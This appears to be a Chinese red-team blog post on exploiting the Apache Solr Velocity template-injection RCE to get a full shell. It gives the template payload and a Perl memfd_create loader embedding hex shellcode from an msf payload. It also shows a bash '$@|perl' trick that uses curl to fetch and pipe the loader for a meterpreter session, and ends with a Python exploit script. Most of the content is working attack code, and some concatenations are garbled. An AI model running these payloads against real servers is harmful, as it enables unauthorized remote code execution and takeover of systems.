本文作者:haya(信安之路红蓝对抗小组成员) 成员招募:信安之路红蓝对抗小组招募志同道合的朋友
在复现 Apache Solr Velocity 模板注入时,发现了一些问题,因为这些问题即使可以执行命令,也不能进行后续渗透。
公开的 poc
根据目前普遍流传的 poc 来看,执行命令的 poc 为:
代码语言:javascript复制select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
于是,可以自定义执行命令的 poc 为:
代码语言:javascript复制url = "/solr/" core_name "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('" cmd "')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"
面临的问题
实际测试 getshell 中,遇到了两个问题:
1、只能执行命令,无法写入文件。
2、不能使用管道符重定向文件
这样我们无法上传文件,也不方便后续渗透,这样的 rce 就比较尴尬了。
问题分析与解决
在部分环境中无法向磁盘写入文件,甚至无法 ls /home/solr 直接 500 错误
通过内存加载文件不落地可以解决该问题。
参考开源项目:
https://github.com/fbkcs/msf-elf-in-memory-execution
这里使用 msf 生成了个 payload shell.elf。
考虑到目标环境有 perl,所以本次使用 perl 来加载,将自己的 payload 放入加载器:
代码语言:javascript复制╰─ perl -e '$/=32;print"print $FH pack q/H*/, q/".(unpack"H*")."/ or die qq/write: $!/;n"while(<>)' shell.elfprint $FH pack q/H*/, q/7f454c4601010100000000000000000002000300010000005480040834000000/ or die qq/write: $!/;print $FH pack q/H*/, q/0000000000000000340020000100000000000000010000000000000000800408/ or die qq/write: $!/;print $FH pack q/H*/, q/00800408cf0000004a01000007000000001000006a0a5e31dbf7e35343536a02/ or die qq/write: $!/;print $FH pack q/H*/, q/b06689e1cd80975b68c0a801d2680200115c89e16a665850515789e143cd8085/ or die qq/write: $!/;print $FH pack q/H*/, q/c079194e743d68a2000000586a006a0589e331c9cd8085c079bdeb27b207b900/ or die qq/write: $!/;print $FH pack q/H*/, q/10000089e3c1eb0cc1e30cb07dcd8085c078105b89e199b60cb003cd8085c078/ or die qq/write: $!/;print $FH pack q/H*/, q/02ffe1b801000000bb01000000cd80/ or die qq/write: $!/;
将可执行文件输出,再传入文件描述符,通过 exec 来内存执行。
完整的 solr.pl 代码如下:
代码语言:javascript复制my $name = "";my $fd = syscall(319, $name, 1);if (-1 == $fd) { die "memfd_create: $!"; }open(my $FH, '>&='.$fd) or die "open: $!";select((select($FH), $|=1)[0]);print $FH pack q/H*/, q/7f454c4601010100000000000000000002000300010000005480040834000000/ or die qq/write: $!/;print $FH pack q/H*/, q/0000000000000000340020000100000000000000010000000000000000800408/ or die qq/write: $!/;print $FH pack q/H*/, q/00800408cf0000004a01000007000000001000006a0a5e31dbf7e35343536a02/ or die qq/write: $!/;print $FH pack q/H*/, q/b06689e1cd80975b68c0a801d2680200115c89e16a665850515789e143cd8085/ or die qq/write: $!/;print $FH pack q/H*/, q/c079194e743d68a2000000586a006a0589e331c9cd8085c079bdeb27b207b900/ or die qq/write: $!/;print $FH pack q/H*/, q/10000089e3c1eb0cc1e30cb07dcd8085c078105b89e199b60cb003cd8085c078/ or die qq/write: $!/;print $FH pack q/H*/, q/02ffe1b801000000bb01000000cd80/ or die qq/write: $!/;exec {"/proc/$$/fd/$fd"} or die "exec: $!";
尝试获取 shell。
并没有成功,这里涉及到第二个问题。
Java 中 Velocity #set 指令是向引擎上下文对象添加属性或对已有属性进行修改。
那注入的这个模板进行命令执行实际上也是用了 getRuntime().exec()
。
getRuntime().exec() 不能直接传入管道符
绕过方法有很多,我这里用到的是$@
, $@
在 linux 中代表脚本执行的参数。
(在命令行中执行稍有不同,需要加引号:/bin/bash -c '$@|perl' foo curl http://localhost/solr.pl
)
/bin/bash -c $@|perl foo curl http://localhost/solr.pl// $@ 将foo当成要运行的脚本,将 curl http://localhost/solr.pl 作为参数传递
curl 获得 meterpreter。
完整 poc
代码语言:javascript复制import requestsimport jsonimport sys
def get_name(url): print "[-] Get core name." url = "/solr/admin/cores?wt=json&indexInfo=false" conn = requests.request("GET", url=url) name = "test" try: name = list(json.loads(conn.text)["status"])[0] except: pass return name
def update_config(url, name):
url = "/solr/" name "/config" print "[-] Update config.", url headers = {"Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"} post_data = """ { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } } """ conn = requests.request("POST", url, data=post_data, headers=headers) if conn.status_code != 200: print "update config error: ", conn.status_code sys.exit(1)
def poc(url): print "[-] Start get ." core_name = get_name(url) url = "/solr/" core_name "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('" cmd "')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end" print(url) conn = requests.request("GET", url, timeout=6, verify=False) print conn.text
if __name__ == '__main__': target = sys.argv[1] cmd = sys.argv[2] poc(target)// Form https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template